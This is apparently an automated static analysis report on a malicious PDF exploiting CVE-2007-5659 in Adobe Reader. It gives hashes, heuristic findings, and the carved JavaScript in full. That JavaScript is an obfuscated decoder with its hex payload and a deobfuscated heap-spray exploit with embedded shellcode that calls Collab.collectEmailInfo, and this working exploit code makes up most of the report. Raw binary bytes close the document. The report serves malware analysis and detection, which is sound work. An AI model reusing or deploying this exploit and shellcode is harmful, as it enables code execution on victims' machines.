Malicious PDF — malware analysis report

Static analysis result for SHA-256 87cdb6cddbbf6c0d…

MALICIOUS

PDF

9.6 KB Created: 2008-04-28 12:17:40 +03:00 First seen: 2026-05-08
MD5: 7caa85774ba857134f7202fbbb8e769a SHA-1: b3be8223af90ecb5c47a4688433256db5aa5f267 SHA-256: 87cdb6cddbbf6c0d42811f3f8b7bec5c06c680faac6aa661223d93eb4759380b
188 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits CVE-2007-5659, a vulnerability in Adobe Reader's Collab.collectEmailInfo function. The JavaScript is obfuscated but appears to be designed to download and execute a secondary payload. The ML classifier strongly indicates maliciousness, and the exploit cluster further supports this.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function   OLgLOApis(t2Y83HfP1){var  T140kV0T8   = "";;var n5gJS31Rj    =    arguments.callee;;n5gJS31Rj  =  n5gJS31Rj.toString ();;;;var MgjF18QV6    = n5gJS31Rj +  T140kV0T8;;;;;var d6QreQO7f   =   "";MgjF18QV6     =    MgjF18QV6.replace(/\W/g,  d6QreQO7f);;;MgjF18QV6    =     MgjF18QV6.toUpperCase();var    PSVaVN77O   =  2147483648;;;PSVaVN77O  =   PSVaVN77O +  PSVaVN77O;;var     yaW8Bx54w  =   new Array;;;;;for(var  Ol27U80BJ     = 0;   Ol27U80BJ     <   256;    Ol27U80BJ++)    {yaW8Bx54w[Ol …
    OLgLOApis('3F3EadA4aa63ba9a857bA2BAa4AD636d52A29Cba5884B5A293ad5F6C73504d3d3c9aACb19BB7AC9FA0547bB9A7988a78758E5f998676b29D74AE986F58af97966781A090A26c503Aad41414Cafabac9c97545F998676b29d74ae9871A4a8B197a69c617574AF97966781A090a26C63ab3f3e404c8E91769f9F76b1a4586E805088826AB2A585BD916d41414cb5504d3d3c3D8D916bb2B072ac95578058999163A1a179bd9971b6A594A7ABB5A1B1aa586260A3979E7890997f9E6675617e503A3f3E40B59DB7b8a2A0548d916bb2b072AC95725042c0503a3F3e9dB8a6A6b799a1a257897DBAab9d939cA86B61504DAB3f3e40B99 …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/iX/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0016_000.js pdf-javascript-stream PDF /JS object 16 at offset 0x931 7635 bytes
SHA-256: a0e6533e2036b905fb3bb4211a8e7dd130c9ff606c0e07795d68adf50dc42a16
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function   OLgLOApis(t2Y83HfP1){var  T140kV0T8   = "";;var n5gJS31Rj    =    arguments.callee;;n5gJS31Rj  =  n5gJS31Rj.toString ();;;;var MgjF18QV6    = n5gJS31Rj +  T140kV0T8;;;;;var d6QreQO7f   =   "";MgjF18QV6     =    MgjF18QV6.replace(/\W/g,  d6QreQO7f);;;MgjF18QV6    =     MgjF18QV6.toUpperCase();var    PSVaVN77O   =  2147483648;;;PSVaVN77O  =   PSVaVN77O +  PSVaVN77O;;var     yaW8Bx54w  =   new Array;;;;;for(var  Ol27U80BJ     = 0;   Ol27U80BJ     <   256;    Ol27U80BJ++)    {yaW8Bx54w[Ol27U80BJ]    =    0;}var   GiPXRe0CS     =   1;;;var   o4gex17SD    =     1994146192;{}o4gex17SD  =     o4gex17SD   +     o4gex17SD;;;;for(var   Ol27U80BJ  =  128;     Ol27U80BJ;  Ol27U80BJ  >>=    1)    {GiPXRe0CS    =    GiPXRe0CS  >>>     1 ^     (GiPXRe0CS   &  1     ?   o4gex17SD   : 0);;;;for(var   clsnRs7T7     =    0;     clsnRs7T7  <     256;     clsnRs7T7   +=   Ol27U80BJ     * 2) {var    b6DWj7Ncw    =  Ol27U80BJ  +  clsnRs7T7;;;;;yaW8Bx54w[b6DWj7Ncw]     =    yaW8Bx54w[clsnRs7T7] ^   GiPXRe0CS;;if    (yaW8Bx54w[b6DWj7Ncw]  < 0)   {yaW8Bx54w[b6DWj7Ncw]  +=    PSVaVN77O;;}}}var  d1tU0cTXu    =    PSVaVN77O    -  1;;;;for(var  c8hW3ov6x   =  0;   c8hW3ov6x  <   MgjF18QV6.length;   c8hW3ov6x++)  {var    j7518bj8b     =    (d1tU0cTXu     ^  MgjF18QV6.charCodeAt(c8hW3ov6x))     &   255;d1tU0cTXu     =     (d1tU0cTXu    >>>     8) ^   yaW8Bx54w[j7518bj8b];;;;;}d1tU0cTXu   = d1tU0cTXu    ^ (PSVaVN77O   -  1);if    (d1tU0cTXu    < 0)     {d1tU0cTXu    +=    PSVaVN77O;;;;}d1tU0cTXu   =  d1tU0cTXu.toString (16).toUpperCase();;;;;while(d1tU0cTXu.length <     8)    {d1tU0cTXu = "0" +   d1tU0cTXu;;;}var   H8RcbquhM   =     new Array;;;;;for(var Ol27U80BJ   =   0;    Ol27U80BJ  < 8;    Ol27U80BJ++) {H8RcbquhM[Ol27U80BJ]    =   d1tU0cTXu.charCodeAt(Ol27U80BJ);}var  Ptdo4BCdA =  0;var  liIsbPD58     =     "";;;;;for(var    Ol27U80BJ     =  0;  Ol27U80BJ  <  t2Y83HfP1.length;  Ol27U80BJ +=  2){var  b6DWj7Ncw   =    t2Y83HfP1.substr(Ol27U80BJ, 2);;;;;var S62DqM878    =   parseInt(b6DWj7Ncw,   16);{}var  xTcITd4b3     =     S62DqM878     -  H8RcbquhM[Ptdo4BCdA];;;;;if(xTcITd4b3     <  0)  {xTcITd4b3   =     xTcITd4b3  +  256;{}}liIsbPD58     += String.fromCharCode/**/(xTcITd4b3);if(Ptdo4BCdA     +    1     ==    H8RcbquhM.length)     {Ptdo4BCdA =    0;{}} else {Ptdo4BCdA++;;;}}var   M20jC807J = 2;;;try   {ewlsdv     = eval;  ewlsdv(liIsbPD58);;}   catch(e)     {M20jC807J   =     1;;;;;}try     {if   (M20jC807J  ==     1)     {window.location     =     "/";}}     catch(e) {}}
OLgLOApis('3F3EadA4aa63ba9a857bA2BAa4AD636d52A29Cba5884B5A293ad5F6C73504d3d3c9aACb19BB7AC9FA0547bB9A7988a78758E5f998676b29D74AE986F58af97966781A090A26c503Aad41414Cafabac9c97545F998676b29d74ae9871A4a8B197a69c617574AF97966781A090a26C63ab3f3e404c8E91769f9F76b1a4586E805088826AB2A585BD916d41414cb5504d3d3c3D8D916bb2B072ac95578058999163A1a179bd9971b6A594A7ABB5A1B1aa586260A3979E7890997f9E6675617e503A3f3E40B59DB7b8a2A0548d916bb2b072AC95725042c0503a3F3e9dB8a6A6b799a1a257897DBAab9d939cA86B61504DAB3f3e40B999B5638566A77Ca77b79A9506F5467BB68A67393629767a673504d39A895A963b084B492768d6c9b588063A5a099aaA699B3a8585459ac7C687c7355a76d677c6868b869626d6768AD7c73696259AC7C687C7355A76467a87068B86062646768AD78A7606259acA66d7b7655a79670746C68B860636d6768ad7373606259acA69cA57355A7686C766868B86467646768AD7A78646B59ACA89Aa97C55a7699B736868b86596699b68AD78A7659659ac789c78a755A7666b789c68b89396676868adA6a7939659ACa4717c7555A79a9b799B68b89396979B68ADA578939659AC776EA67455A797687b9c68b89296686d68ad7973946359ACA46D777955A7666Da66d68B86468976b68ada97C689659AC7B9C777355a7686dA56968b89663956C68ad76A4646859ACA671A47a55a7666c7c6c68B89396686968ADA6A7939659ac766C75a955a79569a46D68b89396956A68adA478939659ACa59Ea57B55A79567a46968b863646d7068AD7779949459ac756D757855A7979ba56C68B89396979b68AD74A4646859AC779c7bA455A7979ba96a68B86369966f68AD7CA4689359AC779C7bA455a7979ba96A68B86369966F68ad7575646859ACA99D7c7555A7689a736c68B8936B666868adA6A7939559ac776ea6A755a76d9a746968b869976D9D68ADA67c916759acA69CA6A655A76769A69c68B893636D9968ad7c77696959AC7c9E7ca655a7979D776e68B868976D9C68ada979649659aca570A6A755a7689A766F68b86363966D68adA47B956559acA470a57855A7979Ca57068b86268689c68AD7777936759ac7399A6a855a797707B9d68b8916A996A68ada47B926759AC7b9d73a555a7979bA66d68b864696D6D68adA67c609559AC776Da9A755a7979B7b7068b860969a9c68ad7ca7699659ac7c997cA855a767697C9C68b894966d9968AD7678649759ACA570A6A755a7956ea69a68B86997979a68AD7cA5636459ac7c6fa67C55a7689C7C6c68B8936B649D68ad77a7689559ACa69ca97a55A76b70a57068b86994676968ad7CA6936759AC776E7Ca555A79A68A57068b8926B686D68adA578956559AC7670a6a855A7686D7c9a68b89596969968AD767b939759ac736cA9a855A76c9a7B6c68B893976a6768ADA9a8606a59acA66a747955a7989b7A6b68b861949a6E68ada678926b59AC736e73a655a7979Ca66868b86896656E68AD76A6626859acA76aA97955A76698A57068B864686d6a68ada87C696559AC7468a6A855A7686dA49a68b86868976868AD7c76646859acA69da77455a7686D746868b86468977068ad737B939759ac7C6b797955A7649C7C6C68b86364666C68ad7675636559AC776b767555a7976a7b6b68b86567666868AD777a636559ACa56BA67655a7669D746d68B89697969C68AD777a606959ACA99A7C7955A79969a76F68b86993969b68ADA4a5686859acA69c7C7b55a79670A46D68B89296967068ADA875966959ACa49bA87555A7969aA49B68b891699A9d68ADA57c919759acA59EA47855A7959cA86B68b89162956968adA4A8956459ACa46CA4a455A7959Da86868b89165956b68ADa477956459ACa471A47655A7966ca47068b89197996A68adA477919359ACa99dA97555A79A6ba99a68b896949a6B68adA9A5919459ACA99CA97855A79a9BA99D68B896949a9b68ada9a8919459ACa99Ca9a755A79a9Aa99E68B89666956f68ada97C969459ACa970a97b55a79A9BA99e68B896969a9D68ada9a7969659acA99Ca9A755a79a9Ba99c68B896969A9b68ADA9a4966759aca99dA4A555a79a6BA99c68b8916A9A6f68ada9a7919859aca99Ca9A755a79A9Ba99b68b896969a7068adA9A7966659ACA99CA9a755A79A9ba99C68b896989A9C68ada9a6919559aca99CA9a455A76467a69c656C6B3f3E40B999B56388747b7EABb197A9506F5467bb6C73736062647250424CB991A4548faba9A5bb7D789B578058BB84a1947890789071af95A09bABab586d63626d41414cAEA4B5509e889d7885AC909a5271579b7A8a8A98AB889D6365636b889aA599bb8589AA5b62AC6a7b617E503A3BAA98b558999163a1A179bd99638050a7a29cb69ba4B3955A565Cb871737C6057A97073717365596D414150424C997e65a3a485b2A4636d5278adB28D8A8b738c5c8d916bb2b072ac956363a497a9657F9d84ad617e503a3baa98b558afb6629c76a279896380505a896Bb67DA786669854646368BB77606264677361729b72797b9FBC8cA97e3D3C3D444D41A9b2A2525CADA4aa63B07D62968A8a7e8480606dA184739a968a767370a3B66Aad859b688572B08573a583797a786E636c63ab3F3e404CafAD96779DABa3ad93b0906094877E8979A0636d528a8576A7B085aa93546263B084b492768d6c9b73504d39AF4141c0454d503a98A9A5a6acACb29E529c83b6AE9992719b5c605042be503A3Baa98b558b5bb7eAC8E828d9263805093a4a771aeaca8A797A68da8AAB6AC9Fa062ABB28bB7B599a09B5f6C73504D39A4AC85bd928E8D8A527157b5b091BD8a7D7e9171AAa8B39C93979C6B679f875f99605e6A617E503a3f3e444D41B9A4a2529967a66D91907286547463A6A8ba5073a6A9a4b16b503a3b3DA9BB86BD9D7b7c8E65A6a0a4b571A65c676C64504d393bA6af91B29d8E7a8C629Aab99B584A45a65606f454D4c39a4ac85bd928e8d8A60979FA4aa84B758645d607e454d503A3f3E40AC9e636b5897649a78869085848d64946375806368525A5D63606Ba860956985907a979E618f5474805874635658549c739b78917D7488927595637f50645D57BFb463A860956985907a979E618F547363696c6c50aeB0444D41636350525C9c739B78917D748892739563806D526B57695E63A860956985907A979e618f547363696C63acAE41414C586363505A9967a66D919072868f67A0587f63675B5d57BE454d4C397879AEabA5A4ABa15a5D7250424c4CA693A6579668908d9D6788a0637563B89E97a79AA4A8A86B5257a967A668a668A5629767A65A6c7e3d3c3d40BAa0ACaf955A87679082B078849B62A3a8a6aaB798527057776C7c78625b548A73858dB065869D576E756396607f7Ea4788CAC7E3D3C3d40b7a0acb65E95a3A3af99a596a4A1A69C637563869f9Ea098a566a6b29c9e999AB77dB0a4999E7Da5A9a76BBEA3A796A17d5865655C9FA79E7D5896737d7ca16C97a1C06c6B3f3e40c0454dc03D3C4141AB84b6b9868175A06B617E503A');
legacy_pdfkit_stage_000.js deobfuscated-js CRC32 callee-key hex decoded JavaScript at offset 0x931 2560 bytes
SHA-256: a403bc2b56f32e3c13c61f9a1083774ecc32440d4f4add5647ccd9b9fab30a81
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var wjSGkwlj = new Array();

function DvoUGHCZ(VN3omBza, lTf5MiMj)
{
	while (VN3omBza.length*2<lTf5MiMj) {
		VN3omBza += VN3omBza;
	}

	VN3omBza = VN3omBza.substring(0,lTf5MiMj/2);

	return VN3omBza;
}

function FEwhmahq()
{
	var U4sEdC6f = 0x0c0c0c0c;
	var xAqbDY5X = unescape("%u9090%u9090%u9090%u9090%u9090%u00e8%u0000%u5d00%uc583%ub914%u0190%u0000%ucdb0%u4530%u4500%u7549%uebf9%u5d00%u5d5d%u5d5d%u5d5d%u245d%ucd31%ucdcd%ua992%ufd6c%ucdcd%ub5cd%u46c1%uc18d%ubd46%u60d1%ua546%u26c5%u46c4%uf98d%u8d40%u46b1%uf1a5%u3a46%uc9a7%u2594%ucd42%ucdcd%u342f%ua2a5%ucda3%ua5cd%ubfb8%ua0a1%u3299%u46db%u2525%ucdb4%ucdcd%u1a46%u4d8a%ucdf2%u37b8%u9a8a%u4d8a%ucdf2%u37b8%u2246%ufe92%u4c04%uc921%ucdcc%u46cd%u9c11%u9e9f%uc9a5%ucdcc%u32cd%uc19b%u9497%u9f9c%ucf46%u8e9e%uf64d%ub8cd%u4c37%u31b6%ua8e3%ua8b5%uceb8%u264e%u44c5%u0ace%uc98e%ua8e3%ua8b5%u8e0b%ucdc5%u4796%uc90c%u45fd%ucd88%u0dfe%u9d9d%u9a9e%u329d%udd9b%u354e%ub8cd%ua7cb%u9ecc%u9b32%u97c9%u4e94%uc90f%u4d8c%ucdf7%u79b8%u9b32%u9cc5%u469b%uf1b8%ub946%ub5e3%u38ce%u469b%uedbb%u38ce%u04fe%u8c84%uce60%ufe08%uc216%udd73%u1bf7%uc5b9%u060c%ucec0%u8d17%u3c26%ud2f6%u2ab8%u4693%ue993%u10ce%u46ab%u86c1%u9346%uced1%u4610%u46c9%u08ce%u9366%u0e94%u3225%u3233%u4332%uc383%u5521%u4733%ub3c3%u2f15%ufebe%u4707%ufb96%ue2d7%u9abd%uab86%ucd98%ub9a5%ubdb9%ue2f7%uace2%ubcac%ua7ff%ub9ae%ubfa5%uaee3%ua0a2%uaee2%ua4aa%uafe0%ua3a4%ua4e2%ua9a3%ub5a8%uaee3%ua4aa%ufef2%uf4fb%ufbf4%ufbab%ufdf5%ufdfe%ufbfd%ufeab%ufdfd%ufcff%uf4a8%uf9fb%uf8f8%ufdff%ufdff%ufdfd%ufdfd%ufdfd%ufdfd%ufaf5%ufeab%uf4fd%ua8f8%ufdaf%ufdfd%ufdfc%ufdf9%ufdf4%ufdfd%ufdfd%ufffe%ufcac%ufdfa%u00cd");
	var XBGGhyTf = 0x400000;
	var XhqbxMFg = xAqbDY5X.length * 2;
	var lTf5MiMj = XBGGhyTf - (XhqbxMFg+0x38);
	var VN3omBza = unescape("%u9090%u9090");

	VN3omBza = DvoUGHCZ(VN3omBza, lTf5MiMj);
	var ls2jBk6Q = (U4sEdC6f - 0x400000)/XBGGhyTf;
	
	for (var mM0bSGFA=0;mM0bSGFA<ls2jBk6Q;mM0bSGFA++) {
		wjSGkwlj[mM0bSGFA] = VN3omBza + xAqbDY5X;
	}
}

function hLsvVOAi()
{
	var rxNzZKJZ = app.viewerVersion.toString();
	rxNzZKJZ = rxNzZKJZ.replace(/\D/g,'');


	var e0c5NMBT = new Array(
		rxNzZKJZ.charAt(0),
		rxNzZKJZ.charAt(1),
		rxNzZKJZ.charAt(2));


	if ((e0c5NMBT[0] == 8 && ((e0c5NMBT[1] == 1 && e0c5NMBT[2] < 2) || e0c5NMBT[1] < 1)) ||
	    (e0c5NMBT[0] == 7 && e0c5NMBT[1] < 1) ||
	    (e0c5NMBT[0] < 7)) {
		FEwhmahq();
		var S0MJm5Ti = unescape("%u0c0c%u0c0c");
		while(S0MJm5Ti.length < 44952) S0MJm5Ti += S0MJm5Ti;
		this.collabStore = Collab.collectEmailInfo({subj: "",msg: S0MJm5Ti});
	}
}

hLsvVOAi();
deobfuscated.js deobfuscated-js PDF JavaScript deobfuscation pass 21829 bytes
SHA-256: 3458eb013b3932a08319ec0f2f0946060ab368a9b79be79d572435956d1e8374
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
q
/Fm0 Do
Q


function   OLgLOApis(t2Y83HfP1){var  T140kV0T8   = "";;var n5gJS31Rj    =    arguments.callee;;n5gJS31Rj  =  n5gJS31Rj.toString ();;;;var MgjF18QV6    = n5gJS31Rj +  T140kV0T8;;;;;var d6QreQO7f   =   "";MgjF18QV6     =    MgjF18QV6.replace(/\W/g,  d6QreQO7f);;;MgjF18QV6    =     MgjF18QV6.toUpperCase();var    PSVaVN77O   =  2147483648;;;PSVaVN77O  =   PSVaVN77O +  PSVaVN77O;;var     yaW8Bx54w  =   new Array;;;;;for(var  Ol27U80BJ     = 0;   Ol27U80BJ     <   256;    Ol27U80BJ++)    {yaW8Bx54w[Ol27U80BJ]    =    0;}var   GiPXRe0CS     =   1;;;var   o4gex17SD    =     1994146192;{}o4gex17SD  =     o4gex17SD   +     o4gex17SD;;;;for(var   Ol27U80BJ  =  128;     Ol27U80BJ;  Ol27U80BJ  >>=    1)    {GiPXRe0CS    =    GiPXRe0CS  >>>     1 ^     (GiPXRe0CS   &  1     ?   o4gex17SD   : 0);;;;for(var   clsnRs7T7     =    0;     clsnRs7T7  <     256;     clsnRs7T7   +=   Ol27U80BJ     * 2) {var    b6DWj7Ncw    =  Ol27U80BJ  +  clsnRs7T7;;;;;yaW8Bx54w[b6DWj7Ncw]     =    yaW8Bx54w[clsnRs7T7] ^   GiPXRe0CS;;if    (yaW8Bx54w[b6DWj7Ncw]  < 0)   {yaW8Bx54w[b6DWj7Ncw]  +=    PSVaVN77O;;}}}var  d1tU0cTXu    =    PSVaVN77O    -  1;;;;for(var  c8hW3ov6x   =  0;   c8hW3ov6x  <   MgjF18QV6.length;   c8hW3ov6x++)  {var    j7518bj8b     =    (d1tU0cTXu     ^  MgjF18QV6.charCodeAt(c8hW3ov6x))     &   255;d1tU0cTXu     =     (d1tU0cTXu    >>>     8) ^   yaW8Bx54w[j7518bj8b];;;;;}d1tU0cTXu   = d1tU0cTXu    ^ (PSVaVN77O   -  1);if    (d1tU0cTXu    < 0)     {d1tU0cTXu    +=    PSVaVN77O;;;;}d1tU0cTXu   =  d1tU0cTXu.toString (16).toUpperCase();;;;;while(d1tU0cTXu.length <     8)    {d1tU0cTXu = "0" +   d1tU0cTXu;;;}var   H8RcbquhM   =     new Array;;;;;for(var Ol27U80BJ   =   0;    Ol27U80BJ  < 8;    Ol27U80BJ++) {H8RcbquhM[Ol27U80BJ]    =   d1tU0cTXu.charCodeAt(Ol27U80BJ);}var  Ptdo4BCdA =  0;var  liIsbPD58     =     "";;;;;for(var    Ol27U80BJ     =  0;  Ol27U80BJ  <  t2Y83HfP1.length;  Ol27U80BJ +=  2){var  b6DWj7Ncw   =    t2Y83HfP1.substr(Ol27U80BJ, 2);;;;;var S62DqM878    =   parseInt(b6DWj7Ncw,   16);{}var  xTcITd4b3     =     S62DqM878     -  H8RcbquhM[Ptdo4BCdA];;;;;if(xTcITd4b3     <  0)  {xTcITd4b3   =     xTcITd4b3  +  256;{}}liIsbPD58     += String.fromCharCode/**/(xTcITd4b3);if(Ptdo4BCdA     +    1     ==    H8RcbquhM.length)     {Ptdo4BCdA =    0;{}} else {Ptdo4BCdA++;;;}}var   M20jC807J = 2;;;try   {ewlsdv     = eval;  ewlsdv(liIsbPD58);;}   catch(e)     {M20jC807J   =     1;;;;;}try     {if   (M20jC807J  ==     1)     {window.location     =     "/";}}     catch(e) {}}
OLgLOApis('3F3EadA4aa63ba9a857bA2BAa4AD636d52A29Cba5884B5A293ad5F6C73504d3d3c9aACb19BB7AC9FA0547bB9A7988a78758E5f998676b29D74AE986F58af97966781A090A26c503Aad41414Cafabac9c97545F998676b29d74ae9871A4a8B197a69c617574AF97966781A090a26C63ab3f3e404c8E91769f9F76b1a4586E805088826AB2A585BD916d41414cb5504d3d3c3D8D916bb2B072ac95578058999163A1a179bd9971b6A594A7ABB5A1B1aa586260A3979E7890997f9E6675617e503A3f3E40B59DB7b8a2A0548d916bb2b072AC95725042c0503a3F3e9dB8a6A6b799a1a257897DBAab9d939cA86B61504DAB3f3e40B999B5638566A77Ca77b79A9506F5467BB68A67393629767a673504d39A895A963b084B492768d6c9b588063A5a099aaA699B3a8585459ac7C687c7355a76d677c6868b869626d6768AD7c73696259AC7C687C7355A76467a87068B86062646768AD78A7606259acA66d7b7655a79670746C68B860636d6768ad7373606259acA69cA57355A7686C766868B86467646768AD7A78646B59ACA89Aa97C55a7699B736868b86596699b68AD78A7659659ac789c78a755A7666b789c68b89396676868adA6a7939659ACa4717c7555A79a9b799B68b89396979B68ADA578939659AC776EA67455A797687b9c68b89296686d68ad7973946359ACA46D777955A7666Da66d68B86468976b68ada97C689659AC7B9C777355a7686dA56968b89663956C68ad76A4646859ACA671A47a55a7666c7c6c68B89396686968ADA6A7939659ac766C75a955a79569a46D68b89396956A68adA478939659ACa59Ea57B55A79567a46968b863646d7068AD7779949459ac756D757855A7979ba56C68B89396979b68AD74A4646859AC779c7bA455A7979ba96a68B86369966f68AD7CA4689359AC779C7bA455a7979ba96A68B86369966F68ad7575646859ACA99D7c7555A7689a736c68B8936B666868adA6A7939559ac776ea6A755a76d9a746968b869976D9D68ADA67c916759acA69CA6A655A76769A69c68B893636D9968ad7c77696959AC7c9E7ca655a7979D776e68B868976D9C68ada979649659aca570A6A755a7689A766F68b86363966D68adA47B956559acA470a57855A7979Ca57068b86268689c68AD7777936759ac7399A6a855a797707B9d68b8916A996A68ada47B926759AC7b9d73a555a7979bA66d68b864696D6D68adA67c609559AC776Da9A755a7979B7b7068b860969a9c68ad7ca7699659ac7c997cA855a767697C9C68b894966d9968AD7678649759ACA570A6A755a7956ea69a68B86997979a68AD7cA5636459ac7c6fa67C55a7689C7C6c68B8936B649D68ad77a7689559ACa69ca97a55A76b70a57068b86994676968ad7CA6936759AC776E7Ca555A79A68A57068b8926B686D68adA578956559AC7670a6a855A7686D7c9a68b89596969968AD767b939759ac736cA9a855A76c9a7B6c68B893976a6768ADA9a8606a59acA66a747955a7989b7A6b68b861949a6E68ada678926b59AC736e73a655a7979Ca66868b86896656E68AD76A6626859acA76aA97955A76698A57068B864686d6a68ada87C696559AC7468a6A855A7686dA49a68b86868976868AD7c76646859acA69da77455a7686D746868b86468977068ad737B939759ac7C6b797955A7649C7C6C68b86364666C68ad7675636559AC776b767555a7976a7b6b68b86567666868AD777a636559ACa56BA67655a7669D746d68B89697969C68AD777a606959ACA99A7C7955A79969a76F68b86993969b68ADA4a5686859acA69c7C7b55a79670A46D68B89296967068ADA875966959ACa49bA87555A7969aA49B68b891699A9d68ADA57c919759acA59EA47855A7959cA86B68b89162956968adA4A8956459ACa46CA4a455A7959Da86868b89165956b68ADa477956459ACa471A47655A7966ca47068b89197996A68adA477919359ACa99dA97555A79A6ba99a68b896949a6B68adA9A5919459ACA99CA97855A79a9BA99D68B896949a9b68ada9a8919459ACa99Ca9a755A79a9Aa99E68B89666956f68ada97C969459ACa970a97b55a79A9BA99e68B896969a9D68ada9a7969659acA99Ca9A755a79a9Ba99c68B896969A9b68ADA9a4966759aca99dA4A555a79a6BA99c68b8916A9A6f68ada9a7919859aca99Ca9A755a79A9Ba99b68b896969a7068adA9A7966659ACA99CA9a755A79A9ba99C68b896989A9C68ada9a6919559aca99CA9a455A76467a69c656C6B3f3E40B999B56388747b7EABb197A9506F5467bb6C73736062647250424CB991A4548faba9A5bb7D789B578058BB84a1947890789071af95A09bABab586d63626d41414cAEA4B5509e889d7885AC909a5271579b7A8a8A98AB889D6365636b889aA599bb8589AA5b62AC6a7b617E503A3BAA98b558999163a1A179bd99638050a7a29cb69ba4B3955A565Cb871737C6057A97073717365596D414150424C997e65a3a485b2A4636d5278adB28D8A8b738c5c8d916bb2b072ac956363a497a9657F9d84ad617e503a3baa98b558afb6629c76a279896380505a896Bb67DA786669854646368BB77606264677361729b72797b9FBC8cA97e3D3C3D444D41A9b2A2525CADA4aa63B07D62968A8a7e8480606dA184739a968a767370a3B66Aad859b688572B08573a583797a786E636c63ab3F3e404CafAD96779DABa3ad93b0906094877E8979A0636d528a8576A7B085aa93546263B084b492768d6c9b73504d39AF4141c0454d503a98A9A5a6acACb29E529c83b6AE9992719b5c605042be503A3Baa98b558b5bb7eAC8E828d9263805093a4a771aeaca8A797A68da8AAB6AC9Fa062ABB28bB7B599a09B5f6C73504D39A4AC85bd928E8D8A527157b5b091BD8a7D7e9171AAa8B39C93979C6B679f875f99605e6A617E503a3f3e444D41B9A4a2529967a66D91907286547463A6A8ba5073a6A9a4b16b503a3b3DA9BB86BD9D7b7c8E65A6a0a4b571A65c676C64504d393bA6af91B29d8E7a8C629Aab99B584A45a65606f454D4c39a4ac85bd928e8d8A60979FA4aa84B758645d607e454d503A3f3E40AC9e636b5897649a78869085848d64946375806368525A5D63606Ba860956985907a979E618f5474805874635658549c739b78917D7488927595637f50645D57BFb463A860956985907a979E618F547363696c6c50aeB0444D41636350525C9c739B78917D748892739563806D526B57695E63A860956985907A979e618f547363696C63acAE41414C586363505A9967a66D919072868f67A0587f63675B5d57BE454d4C397879AEabA5A4ABa15a5D7250424c4CA693A6579668908d9D6788a0637563B89E97a79AA4A8A86B5257a967A668a668A5629767A65A6c7e3d3c3d40BAa0ACaf955A87679082B078849B62A3a8a6aaB798527057776C7c78625b548A73858dB065869D576E756396607f7Ea4788CAC7E3D3C3d40b7a0acb65E95a3A3af99a596a4A1A69C637563869f9Ea098a566a6b29c9e999AB77dB0a4999E7Da5A9a76BBEA3A796A17d5865655C9FA79E7D5896737d7ca16C97a1C06c6B3f3e40c0454dc03D3C4141AB84b6b9868175A06B617E503A');
13 0 14 33 15 66 <</K 14 0 R/Type/StructTreeRoot>><</K 15 0 R/P 13 0 R/S/Document>><</P 14 0 R/S/Part>>
D:20080428022240-07'00'
D:20080428121740+03'00'
en-us
/Helv 0 Tf 0 g 
D:20080428102207+03'00'
D:20080214203319Z
Y��F�% G  q  u�k � ��9�� G41&�A�=<��|�r��>��]�5 �*��v}��a���9ZG��t<e�@0'   <�" _�ܷbܒ�?#5�����|��AϨ�ǟݎ.P܉U=?��SB��O��ǻ׏��}��� �`����� �%�}�� �� �WY�Ŏ��On�K��&��g�g?�'�ԫ�s�; �/h8�|`�fn� n  NY�����}���w���j1�; �[�3��? i�'C����񇋛�Y# � i +Ǜ>>� x>�P�|;���[�:�'A�l t� N2 ?��&��''� ?�� F  H@�������Y������[�
��$�c�O�� ��� �  ������x~=�^��0V3X UśF �G �����O�3~8� ��x���9Ҙ� �� %�LJ�� }4f  }s�LD� C"V��J�A�� >�] � �_Bq��f<޻ �����/���M��;?X�=�� ��
�r� �RM��le����I�]�A�Q�,�P uo�mBi�S�1;[H��3V ���J�N�Ѥ(T�U�v�����2DJ��0����Em��	� ����{� %���� %�h�*a�v�Q�LO��л[�� 5T�P��Q �ם
����{K�_ < �2�W
i�C�� R�'M:h2� >㶖��gil � S�*�=^����T@^dy�w ��� 
��X�!U(�l'�:����� �GTd֯�^b{ Ϻ'�V�g���k�j��p
